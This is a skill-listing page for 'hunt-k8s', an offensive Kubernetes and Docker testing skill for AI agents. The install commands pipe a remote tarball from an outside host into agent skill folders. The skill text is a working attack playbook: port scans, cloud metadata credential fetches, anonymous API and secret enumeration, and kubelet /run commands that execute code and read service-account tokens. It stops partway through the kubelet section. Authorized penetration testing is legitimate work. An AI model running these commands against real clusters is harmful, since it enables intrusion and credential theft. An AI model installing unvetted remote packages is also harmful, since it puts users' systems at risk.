hunt-k8s – DevOps & Infrastructure skill for AI agents
Hunt Kubernetes & Docker
Install the hunt-k8s skill with one command
Pick the tool you use, copy the command and paste it in your terminal. The skill lands in that tool's skills folder and is ready in your next session.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-k8s-080f6.tgz | tar xz -C ~/.claude/skills
Call it in Claude Code: /hunt-k8s – then describe the task you want done.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-k8s-080f6.tgz | tar xz -C ~/.codex/skills
Call it in Codex: $hunt-k8s – then describe the task you want done.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-k8s-080f6.tgz | tar xz -C ~/.hermes/skills
Call it in Hermes Agent: /hunt-k8s – then describe the task you want done.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-k8s-080f6.tgz | tar xz -C ~/.deepcode/skills
Call it in DeepSeek: /hunt-k8s – then describe the task you want done.
SKILL.md content
> ⚠️ AUTHORIZED USE ONLY
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.
> Mandatory confirmation gate
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
HUNT-K8S — Kubernetes & Docker Security
Crown Jewel Targets
K8s API anonymous cluster-admin = full cluster control. docker.sock + RCE = host root. A single privileged-pod create or a kubelet /run shell pivots one finding to total compromise.
Highest-value findings:
- K8s API anonymous cluster-admin —
system:anonymous/system:unauthenticatedbound to a powerful role (classic misconfig:system:anonymousin aClusterRoleBindingtocluster-admin) → fullkubectl. Mere anonymous200is NOT this (see false-positive section). - Kubelet
10250exec/run —/runreturns command output directly;/execis a SPDY/WebSocket stream (see Phase 3). Either → RCE in any pod → steal that pod's SA token. - API-server-mediated kubelet RCE —
/api/v1/nodes/<node>/proxy/run/...reaches the kubelet *through* the API server using your (low-priv) token; if RBAC grantsnodes/proxy, you get pod RCE without touching 10250 directly. Primary 2024-2026 vector. - etcd
2379unauth — every Secret (SA tokens, TLS keys, app creds) stored, often plaintext (unlessEncryptionConfigurationis set) → full credential dump. - docker.sock exposure — a socket-capable SSRF/RCE primitive reaching
/var/run/docker.sock→ may create containers under the daemon’s authority; rootless/user-namespace/admission controls affect host impact. - Container escape via runc — Leaky Vessels (CVE-2024-21626):
WORKDIR/process.cwdpointing at a leaked/proc/self/fd/<n>host FD → break out of an attacker-controlled image/exec to host root. - SA token abuse — auto-mounted token at
/var/run/secrets/kubernetes.io/serviceaccount/token; check its real grants with SelfSubjectRulesReview before claiming impact. - K8s Dashboard skip-login / token-less API — full cluster management UI reachable unauthenticated.
---
OOB / Confirmation Gate (Read First)
K8s findings are RCE/credential-disclosure class. House rule: prove state change or data read, never infer from a status code.
- A
200on/api/v1/namespacesdoes not mean cluster-admin. The API server returns200with an authorized full list (possibly empty because no resources exist); Kubernetes RBAC does not filter list results per object to *any* principal that can reachlist namespaces— anonymous read on a few resources is common and low-impact. Confirm real privilege with SelfSubjectRulesReview / SelfSubjectAccessReview, then by accessing a pre-approved synthetic canary resource, without extracting production secrets. - 10255 (read-only) vs 10250 (exec) are constantly conflated. 10255 (HTTP, no auth) is info-disclosure only — it has
/pods,/stats,/metrics, NO exec/run. 10250 (HTTPS) is where/runand/execlive. Do not report "kubelet RCE" off a 10255 hit. - Blind/outbound vectors need OOB. If you exploit SSRF→IMDS→K8s, or a pod's egress, confirm the outbound hop with a Burp Collaborator / interactsh subdomain (e.g.
curl http://<token>.<collab>from inside the pod via/run). A delayed response or an echoed URL is NOT proof. - Impact proof = the artifact. For exec: the literal
id/hostnameoutput. For etcd/Secret: the decoded token bytes (redact in report). For docker.sock escape: the host file content (/etc/hostnameof the node, distinct from the container's). - Use a dedicated test namespace / test pod when you have create rights; never exec into production workloads to "prove" RCE — list the pod and exec a read-only
idin a pod you spun up if policy allows, or limit to a single non-destructiveidand stop.
---
Phase 1 — Fingerprint & Port Discovery
# Common Kubernetes / container ports
PORTS="443,6443,8443,8080,10250,10255,10256,2379,2380,4194,9090,9100,30000-30010"
nmap -sV -p $PORTS $TARGET 2>/dev/null | grep open
# API server fingerprint — the /version endpoint is anonymous on most clusters
curl -sS --cacert "$K8S_CA" "https://$TARGET:6443/version" # {"major":"1","minor":"29","gitVersion":"v1.29.x"...}
curl -sS --cacert "$K8S_CA" "https://$TARGET:6443/api" # APIVersions list, even pre-auth
curl -sS --cacert "$K8S_CA" "https://$TARGET:6443/healthz"
# Cloud metadata pivot (reach K8s SA / node creds from an SSRF foothold)
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # AWS EKS (IMDSv1)
TOK=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60") # IMDSv2
curl -s -H "X-aws-ec2-metadata-token: $TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
curl -s "http://169.254.169.254/metadata/instance?api-version=2021-02-01" -H "Metadata: true" # Azure AKS
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" # GKENote the gitVersion — it gates every CVE below.
---
Phase 2 — Kubernetes API Anonymous / Low-Priv Access
SRV="https://$TARGET:6443"
# 1. What am I? (anonymous → "system:anonymous")
curl -sS --cacert "$K8S_CA" "$SRV/apis/authentication.k8s.io/v1/selfsubjectreviews" -X POST \
-H 'Content-Type: application/json' \
-d '{"apiVersion":"authentication.k8s.io/v1","kind":"SelfSubjectReview"}'
# 2. What can I actually DO? (the only honest privilege check)
curl -sS --cacert "$K8S_CA" "$SRV/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \
-H 'Content-Type: application/json' \
-d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"default"}}'
# 3. Check one exact approved action and namespace; resource and subresource
# are separate fields. Do not test "create secrets" as proof of secret-read access.
curl -sS --cacert "$K8S_CA" "$SRV/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" -X POST \
-H 'Content-Type: application/json' \
-d "{\"kind\":\"SelfSubjectAccessReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"resourceAttributes\":{\"namespace\":\"$NS\",\"verb\":\"get\",\"resource\":\"secrets\",\"name\":\"$TEST_SECRET\"}}}"
# For exec use resource=pods, subresource=exec, verb=create; for node proxy
# check the exact HTTP-mapped verb, resource=nodes, subresource=proxy.
# 4. Only if access review says allowed — read only a designated synthetic test Secret to demonstrate the approved boundary
curl -sS --cacert "$K8S_CA" "$SRV/api/v1/namespaces/$NS/secrets/$TEST_SECRET" | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("items",[])),"secrets")'
# decode one value (redact before reporting):
# echo '<base64>' | base64 -dCVE-2018-1002105 (gitVersion < v1.10.11/1.11.5/1.12.3): API-server proxy upgrade flaw lets an unauthenticated/low-priv user escalate to backend (kubelet/aggregated-API) requests with API-server identity → cluster-admin. Fingerprint gitVersion in Phase 1; if vulnerable this is the single highest-impact finding.
---
Phase 3 — Kubelet (Port 10250) — /run First, /exec Done Right
The earlier version of this skill sent /exec as a plain POST and expected id output back. That is wrong. /exec is a SPDY/WebSocket *streaming* endpoint: a plain POST returns a 302 redirect to a stream location (e.g. /cri/exec/<token>) that you then must read with a SPDY/WebSocket client. An operator who runs the old curl sees nothing and wrongly concludes the kubelet is patched.
SRV="https://$TARGET:10250"
# Enumerate pods (auth varies; many kubelets allow anonymous read here)
curl -sS --cacert "$K8S_CA" "$SRV/pods" | python3 -m json.tool 2>/dev/null \
| grep -E '"namespace"|"name"|"containerName"' | head -40
NS=default; POD=target-pod; CTR=app
# --- PRIMITIVE A: /run — returns command output DIRECTLY (no stream handling) ---
# This is the simple correct primitive. Use this first.
curl -sS --cacert "$K8S_CA" -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=id"
curl -sS --cacert "$K8S_CA" -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
# --- PRIMITIVE B: /exec — SPDY/WebSocket stream, NOT a plain POST ---
# Option 1: kubeletctl handles the stream transport for … (full content is in the download package)
Related skills
- hybrid-cloud-architect – Expert hybrid cloud architect specializing in complex multi-cloud solutions across…
- hybrid-cloud-networking – Configure secure, high-performance connectivity between on-premises and cloud…
- incident-responder – Expert SRE incident responder specializing in rapid problem resolution, modern…
- istio-traffic-management – Comprehensive guide to Istio traffic management for production service mesh deployments.
- jenkins – Create and manage Jenkins CI/CD pipelines, configure agents, manage plugins, and…
- terraform-patterns – Terraform infrastructure-as-code agent skill and plugin for Claude Code, Codex, Gemini…
- k8s-manifest-generator – Step-by-step guidance for creating production-ready Kubernetes manifests including…
- kubernetes-architect – Expert Kubernetes architect specializing in cloud-native infrastructure, advanced GitOps…